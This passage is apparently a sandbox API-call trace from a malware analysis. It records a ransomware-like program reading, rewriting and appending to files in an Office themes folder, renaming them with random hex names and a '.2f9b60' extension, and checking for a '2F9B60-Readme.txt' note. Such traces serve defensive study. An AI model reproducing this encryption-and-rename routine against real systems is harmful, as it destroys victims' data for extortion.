lpOverlapped=0x0 | out: lpBuffer=0x33e9fa00*, lpNumberOfBytesRead=0x33e9fa48*=0x4, lpOverlapped=0x0) returned 1 [0111.366] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0111.367] NtQuerySystemTime (in: CurrentTime=0x33e9f940 | out: CurrentTime=0x33e9f940*=132462177168358000) returned 0x0 [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x33452053 [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x44dc152e [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x4133f130 [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x4fb747a4 [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x615dacec [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x21669530 [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x3d2c3a70 [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x2d61dde5 [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x66d40c7b [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x285a7d70 [0111.367] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x66d7315c [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x59989aa2 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0xa6d8876 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x17a5e35d [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x56560336 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x3ebc975b [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0xc071913 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x72fb04db [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x882445b [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x6a590a5a [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x2cdada0f [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x12fdd2a9 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x2a272fdf [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x669c76f [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x61bfa4c8 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x30212f15 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x7077b41b [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x41ae3df1 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x3c390518 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x9e8e492 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x2351dc11 [0111.368] RtlRandomEx (in: Seed=0x33e9f930 | out: Seed=0x33e9f930) returned 0x357d8af6 [0111.378] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.378] ReadFile (in: hFile=0xe04, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33e9f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x33e9f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.379] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c10) returned 1 [0111.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0111.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d60) returned 1 [0111.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.380] WriteFile (in: hFile=0xe04, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33e9f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x33e9f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0111.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7c40 [0111.384] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.384] WriteFile (in: hFile=0xe04, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33e9fa50, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x33e9fa50*=0x108, lpOverlapped=0x0) returned 1 [0111.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0111.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0111.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0111.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0111.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0111.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b50) returned 1 [0111.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f070 [0111.391] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="0c") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="14") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="c8") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="f8") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="e4") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="0c") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="c3") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="a5") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="df") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="c4") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="4e") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="2c") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="c5") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="90") returned 2 [0111.391] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="25") returned 2 [0111.392] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="c4") returned 2 [0111.392] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="75") returned 2 [0111.392] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="d2") returned 2 [0111.392] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="78") returned 2 [0111.392] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="ae") returned 2 [0111.392] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="51") returned 2 [0111.392] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="5a") returned 2 [0111.392] RtlInitAnsiString (in: DestinationString=0x33e9fac8, SourceString="0c14c8f8e40cc3a5dfc44e2cc59025c475d278ae515a" | out: DestinationString="0c14c8f8e40cc3a5dfc44e2cc59025c475d278ae515a") [0111.392] RtlAnsiStringToUnicodeString (in: DestinationString=0x33e9fa98, SourceString="0c14c8f8e40cc3a5dfc44e2cc59025c475d278ae515a", AllocateDestinationString=1 | out: DestinationString="0c14c8f8e40cc3a5dfc44e2cc59025c475d278ae515a") returned 0x0 [0111.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9860 [0111.392] wcscat (in: _Dest=0x20279a30, _Source="0c14c8f8e40" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\0c14c8f8e40") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\0c14c8f8e40" [0111.392] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\0c14c8f8e40.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\0c14c8f8e40.2f9b60" [0111.392] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\0c14c8f8e40.2f9b60", NtPathName=0x33e9fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\0c14c8f8e40.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0111.392] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33e9fb10, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0111.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.394] NtQueryInformationFile (in: FileHandle=0xe04, IoStatusBlock=0x33e9fad8, FileInformation=0x33e9fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33e9fad8, FileInformation=0x33e9fae8) returned 0x0 [0111.394] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33e9fad8, FileInformation=0x33e9fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0111.396] FlushFileBuffers (hFile=0xe04) returned 1 [0111.398] CloseHandle (hObject=0xe04) returned 1 [0111.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.399] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.400] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65600) returned 1 Thread: id = 1077 os_tid = 0x1780 [0111.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0111.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx", dwFileAttributes=0x20) returned 1 [0111.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe04 [0111.409] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x336cfcc0 | out: lpFileSize=0x336cfcc0*=43193) returned 1 [0111.409] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0xa8b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.409] ReadFile (in: hFile=0xe04, lpBuffer=0x336cfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x336cfc88, lpOverlapped=0x0 | out: lpBuffer=0x336cfc40*, lpNumberOfBytesRead=0x336cfc88*=0x4, lpOverlapped=0x0) returned 1 [0111.412] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0111.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.412] NtQuerySystemTime (in: CurrentTime=0x336cfb80 | out: CurrentTime=0x336cfb80*=132462177168826000) returned 0x0 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x4b017814 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x2e4cdba4 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x36225727 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x69ff9b09 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0xb879f81 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x417ea3d9 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0xadc3c81 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x4c714f55 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x53060007 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x3076c8b0 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x3f686c51 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x2532c7e8 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x3a366760 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x5f6b61a1 [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x43e868d [0111.412] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x60627347 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x5b5da144 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x9fc4d4f [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x3286115d [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x2e043ec9 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x563ef72a [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x50ff3cb0 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x3590f3e2 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x93ea210 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x382a76f4 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x402b2d3e [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x4890b4b0 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x65187a78 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0xd89c881 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0xd03a294 [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x17361caa [0111.413] RtlRandomEx (in: Seed=0x336cfb70 | out: Seed=0x336cfb70) returned 0x44368f24 [0111.422] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.422] ReadFile (in: hFile=0xe04, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x336cfbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x336cfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.430] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d30) returned 1 [0111.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e8c1b0 [0111.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0111.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.431] WriteFile (in: hFile=0xe04, lpBuffer=0x41e8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x336cfbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesWritten=0x336cfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0111.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a76a0 [0111.437] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.437] WriteFile (in: hFile=0xe04, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x336cfc90, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x336cfc90*=0x106, lpOverlapped=0x0) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0111.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c40) returned 1 [0111.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f070 [0111.456] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="39") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="87") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="71") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="3a") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="eb") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="06") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="19") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="83") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="99") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="ad") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="4a") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="27") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="11") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="46") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="5b") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="68") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="8b") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="8f") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="41") returned 2 [0111.456] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="49") returned 2 [0111.456] RtlInitAnsiString (in: DestinationString=0x336cfd08, SourceString="3987713aeb06198399ad4a2711465b688b8f4149" | out: DestinationString="3987713aeb06198399ad4a2711465b688b8f4149") [0111.456] RtlAnsiStringToUnicodeString (in: DestinationString=0x336cfcd8, SourceString="3987713aeb06198399ad4a2711465b688b8f4149", AllocateDestinationString=1 | out: DestinationString="3987713aeb06198399ad4a2711465b688b8f4149") returned 0x0 [0111.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceac0 [0111.457] wcscat (in: _Dest=0x20279a30, _Source="3987713aeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3987713aeb") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3987713aeb" [0111.457] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3987713aeb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3987713aeb.2f9b60" [0111.457] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3987713aeb.2f9b60", NtPathName=0x336cfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3987713aeb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119720 [0111.457] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x336cfd50, FileInformation=0x119720, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0111.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0111.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.459] NtQueryInformationFile (in: FileHandle=0xe04, IoStatusBlock=0x336cfd18, FileInformation=0x336cfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x336cfd18, FileInformation=0x336cfd28) returned 0x0 [0111.459] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x336cfd18, FileInformation=0x336cfd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 [0111.460] FlushFileBuffers (hFile=0xe04) returned 1 [0111.463] CloseHandle (hObject=0xe04) returned 1 [0111.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.469] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 